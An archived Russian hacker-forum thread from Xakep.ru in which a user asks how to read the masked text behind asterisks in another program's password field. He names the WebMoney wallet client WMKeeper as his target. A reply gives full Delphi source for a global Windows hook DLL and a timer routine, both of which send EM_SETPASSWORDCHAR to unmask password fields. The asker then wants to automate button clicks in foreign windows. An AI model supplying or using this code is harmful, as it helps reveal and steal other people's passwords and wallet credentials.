Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Получение текста за звездочками из поля ввода

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Получение текста за звездочками из поля ввода
Имя
Сообщение << Старые топики   Новые топики >>
Получение текста за звездочками из поля ввода - 2007-01-27 01:08:26.090000   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
Всем привет. Никто не знает, как можно считать текст, который находится в поле ввода за звездочками в чужом окне? Т.е., как просто прочитать текст из поля ввода в чужом окне - я знаю, но как узнать, что находится за звездочками? Конкретно, меня интересует WMKeeper (почему, я думаю, глупый вопрос [sm=ah.gif]). Пишу на C++ и WinAPI.
Post #: 1
RE: Получение текста за звездочками из поля ввода - 2007-01-27 02:02:51.930000   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
у меня вроде гдето был сорец на делфи .. щя гляну - а на си сам переведешь :)
Post #: 2
RE: Получение текста за звездочками из поля ввода - 2007-01-27 02:16:39.540000   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
Ок. Давай, выкладывай свой сорец, жду.
Post #: 3
RE: Получение текста за звездочками из поля ввода - 2007-01-27 02:42:21.360000   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
вот те небольшая статейка:

library hackpass; uses Windows, Messages; var SysHook : HHook = 0; Wnd : Hwnd = 0; function SysMsgProc(code : integer; wParam : word; lParam : longint) : longint; stdcall; begin // Передать сообщение другим ловушкам в системе CallNextHookEx(SysHook, Code, wParam, lParam); // Проверяю сообщение if code = HC_ACTION then begin // Получаю идентификатор окна сгенерировавшего сообщение Wnd := TMsg(Pointer(lParam)^).hwnd; // Проверяю тип сообщения. // Если была нажата левая кнопка мыши // и удержана кнопка Control, то … if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then if ((TMsg(Pointer(lParam)^).wParam and MK_CONTROL) = MK_CONTROL) then begin // Убрать в окне отправившем сообщение зв¸здочки SendMessage(Wnd, em_setpasswordchar, 0, 0); // Перерисовать окно. InvalidateRect(Wnd, nil, true); end; end; end; // Процедура запуска. procedure RunStopHook(State : Boolean) export; stdcall; begin // Если State = true, то... if State=true then begin // Запускаем ловушку. SysHook := SetWindowsHookEx(WH_GETMESSAGE, @SysMsgProc, HInstance, 0); end else// Иначе begin // Отключить ловушку. UnhookWindowsHookEx(SysHook); SysHook := 0; end; end; exports RunStopHook index 1; begin end. Теория: Самое основное в нашей DLL – это процедура RunStopHook. Ей передаётся один только параметр. Если он равен true, то я регистрирую ловушку, которая будет ловить все сообщения Windows на себя. Для этого используется функция SetWindowsHookEx. У этой функции четыре параметра: Тип ловушки. Я указал WH_GETMESSAGE, которая ловит все сообщения. Указатель на функцию, которой будут пересылаться сообщения Windows. Указатель на приложение. Идентификатор потока. Если ноль, то используется текущий. В качестве второго параметра я указал имя функции SysMsgProc. Она так же описана в этой dll. Давай на неё посмотрим. Ловушка для сообщений: В первой строке я передаю пойманное сообщение остальным ловушкам установленным в системе с помощью CallNextHookEx. После этого я получаю окно сгенерировавшее событие и проверяю тип события. Если была кликнута левая кнопка крысы и удержана пимпа Control, то убрать звёздочки. Я не могу больше останавливаться на этой DLL потому что моя рубрика не резиновая. Придётся тебе разбираться с происходящим по комментариям. Юзаем DLL: Теперь напишем прогу, которая будет загружать DLL и запускать ловушку. Для этого создай новый проект (такие мы уже создавали). Перейди в исходник, и найди раздел var. Рядом должно быть написано что-то типа «Form1: TForm1». Допиши сюда строку: procedure RunStopHook(State : Boolean) stdcall; external 'hackpass.dll' index 1; В этой строке я объясняю Delphi, что есть такая функция RunStopHook, которая находится в написанной мной библиотеке hackpass.dll и её индекс = 1. Вот по этому индексу Delphi и будет вызывать функцию. Можно конечно же и по имени, но это будет немного медленней. Теперь создай обработчик события для формы OnShow и напиши там: RunStopHook(true); И наконец создай обработчик события OnClose и напиши: RunStopHook(false); Кранты паролям: Всё наше приложение готово. Запусти его. Потом перейди в окно со строкой ввода и кликни там левой кнопкой крысы удерживая Control. Звёздочки моментально превратятся в реальный текст. Для большего эффекта можешь бросить на форму проги загружающей DLL, какую-нибудь картинку. Ну а если что-то не понятно, то просто тренируйся. Со временем всё само придёт. Главное практика
вомжно еще так:
procedure TForm1.Timer1Timer(Sender: TObject); var Wnd: HWND; lpClassName: array[0..$FF] of Char; begin Wnd := WindowFromPoint(Mouse.CursorPos); GetClassName(Wnd, lpClassName, $FF); if ((strpas(lpClassName) = 'TEdit') or (strpas(lpClassName) = 'EDIT')) then PostMessage(Wnd, EM_SETPASSWORDCHAR, 0, 0); end;
Post #: 4
RE: Получение текста за звездочками из поля ввода - 2007-01-27 02:44:04.470000   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
Кстати все это можно найти в гугле …
Post #: 5
RE: Получение текста за звездочками из поля ввода - 2007-01-27 09:53:26.346666   
Apache

Сообщений: 153
Оценки: 0
Присоединился: 2006-10-13 10:02:03.070000
У меня тоже что то было
Post #: 6
RE: Получение текста за звездочками из поля ввода - 2007-01-28 03:26:54.850000   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
blacksun, спасибо за код, выручил. Впринципе, достаточно было лишь написать PostMessage(Wnd, EM_SETPASSWORDCHAR, 0, 0);, именно эту строчку я искал. У меня есть еще пара вопросов:

1) Как обработать нажатие кнопки в чужой форме?
2) Как в IE добраться до хэндлов полей ввода (я про <input type="text" …)?
Post #: 7
RE: Получение текста за звездочками из поля ввода - 2007-01-28 10:13:37.376666   
Apache

Сообщений: 153
Оценки: 0
Присоединился: 2006-10-13 10:02:03.070000
Блин ни где не могу найти ключи реестра IE Пожалуйста напишите!!!!! и значения
Post #: 8
RE: Получение текста за звездочками из поля ввода - 2007-01-28 16:40:11.976666   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30

quote:

ORIGINAL: Apache

Блин ни где не могу найти ключи реестра IE Пожалуйста напишите!!!!! и значения

HKLM/Software/Microsoft/Internet Explorer

А вообще, нужно отдельный топик создавать для своих вопрос! Т.ч., пиши по теме, пожалуйста! [sm=mad.gif]
Post #: 9
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Получение текста за звездочками из поля ввода







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.